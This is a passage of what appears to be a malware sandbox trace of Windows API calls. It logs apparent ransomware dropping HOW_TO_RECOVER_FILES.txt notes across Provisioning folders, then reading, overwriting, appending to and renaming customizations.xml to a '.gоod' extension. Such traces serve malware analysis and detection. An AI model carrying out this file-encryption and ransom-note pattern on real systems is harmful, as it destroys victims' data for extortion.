lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0121.821] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0121.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0121.821] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffecb80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0121.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed0a0) returned 1 [0121.821] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0121.822] GetFileType (hFile=0x7c8) returned 0x1 [0121.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed010) returned 1 [0121.822] GetFileType (hFile=0x7c8) returned 0x1 [0121.823] WriteFile (in: hFile=0x7c8, lpBuffer=0x3669c80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffed168, lpOverlapped=0x0 | out: lpBuffer=0x3669c80*, lpNumberOfBytesWritten=0x1ffed168*=0x5d0, lpOverlapped=0x0) returned 1 [0121.824] CloseHandle (hObject=0x7c8) returned 1 [0121.824] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0121.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0121.824] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0121.824] GetFileType (hFile=0x7c8) returned 0x1 [0121.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0121.824] GetFileType (hFile=0x7c8) returned 0x1 [0121.825] WriteFile (in: hFile=0x7c8, lpBuffer=0x366d578*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x366d578*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0121.826] CloseHandle (hObject=0x7c8) returned 1 [0121.826] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffedfe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0121.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee500) returned 1 [0121.826] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0121.828] GetFileType (hFile=0x7c8) returned 0x1 [0121.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee470) returned 1 [0121.828] GetFileType (hFile=0x7c8) returned 0x1 [0121.829] WriteFile (in: hFile=0x7c8, lpBuffer=0x3670e60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffee5c8, lpOverlapped=0x0 | out: lpBuffer=0x3670e60*, lpNumberOfBytesWritten=0x1ffee5c8*=0x5d0, lpOverlapped=0x0) returned 1 [0121.830] CloseHandle (hObject=0x7c8) returned 1 [0121.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0121.831] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", lpFilePart=0x0) returned 0x4c [0121.831] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.833] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560ed25a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x560ed25a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x560ed25a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x6274, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d0d528, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55d0d528, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55d0d528, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0121.834] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0121.834] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0121.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0121.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0121.835] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", lpFilePart=0x0) returned 0x4c [0121.835] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.836] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.836] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560ed25a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x560ed25a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x560ed25a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x6274, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0121.837] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d0d528, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55d0d528, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55d0d528, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0121.837] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0121.837] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.837] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0121.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0121.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0121.838] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x3680e58 | out: lpFileInformation=0x3680e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560ed25a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x560ed25a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x560ed25a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x6274)) returned 1 [0121.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0121.839] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0121.839] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.839] GetFileType (hFile=0x7c8) returned 0x1 [0121.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0121.840] GetFileType (hFile=0x7c8) returned 0x1 [0121.840] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffee398*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffee398*=0) returned 0x1000 [0121.840] ReadFile (in: hFile=0x7c8, lpBuffer=0x36812e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee368, lpOverlapped=0x0 | out: lpBuffer=0x36812e0*, lpNumberOfBytesRead=0x1ffee368*=0x1000, lpOverlapped=0x0) returned 1 [0121.841] CloseHandle (hObject=0x7c8) returned 1 [0121.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0121.841] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.841] GetFileType (hFile=0x7c8) returned 0x1 [0121.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0121.842] GetFileType (hFile=0x7c8) returned 0x1 [0121.842] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffee398*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffee398*=0) returned 0x6274 [0121.842] WriteFile (in: hFile=0x7c8, lpBuffer=0x36825b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffee288, lpOverlapped=0x0 | out: lpBuffer=0x36825b0*, lpNumberOfBytesWritten=0x1ffee288*=0x10, lpOverlapped=0x0) returned 1 [0121.843] CloseHandle (hObject=0x7c8) returned 1 [0121.843] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0121.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0121.843] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.843] GetFileType (hFile=0x7c8) returned 0x1 [0121.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0121.843] GetFileType (hFile=0x7c8) returned 0x1 [0121.843] ReadFile (in: hFile=0x7c8, lpBuffer=0x36848a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee318, lpOverlapped=0x0 | out: lpBuffer=0x36848a8*, lpNumberOfBytesRead=0x1ffee318*=0x1000, lpOverlapped=0x0) returned 1 [0122.110] CloseHandle (hObject=0x7c8) returned 1 [0122.110] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0122.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0122.110] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.111] GetFileType (hFile=0x7c8) returned 0x1 [0122.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0122.111] GetFileType (hFile=0x7c8) returned 0x1 [0122.111] WriteFile (in: hFile=0x7c8, lpBuffer=0x33f0778*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffee3c8, lpOverlapped=0x0 | out: lpBuffer=0x33f0778*, lpNumberOfBytesWritten=0x1ffee3c8*=0x1010, lpOverlapped=0x0) returned 1 [0122.111] CloseHandle (hObject=0x7c8) returned 1 [0122.111] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0122.111] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0122.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0122.111] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560ed25a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x560ed25a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44fe6dac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6284)) returned 1 [0122.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0122.111] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.gоod")) returned 1 [0122.112] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0122.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0122.112] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x34afcb8 | out: lpFileInformation=0x34afcb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d0d528, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55d0d528, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55d0d528, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0122.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0122.113] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: 